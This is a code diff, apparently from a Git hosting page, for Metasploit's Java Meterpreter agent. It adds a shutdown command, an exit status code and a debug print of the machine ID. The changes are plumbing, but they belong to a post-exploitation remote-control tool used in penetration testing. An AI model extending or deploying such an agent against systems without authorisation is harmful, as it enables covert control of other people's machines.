response.add(TLVType.TLV_TYPE_REQUEST_ID, this.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
|
||||
return response;
|
||||
}
|
||||
|
||||
/**
|
||||
* Write all the values to an output stream.
|
||||
*/
|
||||
|
@ -21,6 +21,11 @@ public interface Command {
|
||||
*/
|
||||
public static final int ERROR_FAILURE = 1;
|
||||
|
||||
/**
|
||||
* Status code indicating a clean dispatch loop exit.
|
||||
*/
|
||||
public static final int EXIT_DISPATCH = 2;
|
||||
|
||||
/**
|
||||
* Execute this command.
|
||||
*
|
||||
|
@ -19,5 +19,6 @@ public class Loader implements ExtensionLoader {
|
||||
mgr.registerCommand("core_channel_write", core_channel_write.class);
|
||||
mgr.registerCommand("core_loadlib", core_loadlib.class);
|
||||
mgr.registerCommand("core_machine_id", core_machine_id.class);
|
||||
mgr.registerCommand("core_shutdown", core_shutdown.class);
|
||||
}
|
||||
}
|
||||
|
@ -56,6 +56,7 @@ public class core_machine_id implements Command {
|
||||
}
|
||||
machine_id = serial + ":" + getHostname();
|
||||
}
|
||||
System.out.println("msf : machine id : " + machine_id);
|
||||
response.add(TLVType.TLV_TYPE_MACHINE_ID, machine_id);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -0,0 +1,14 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class core_shutdown implements Command {
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
System.out.println("msf : Shutdown requested, exiting dispatch");
|
||||
return EXIT_DISPATCH;
|
||||
}
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user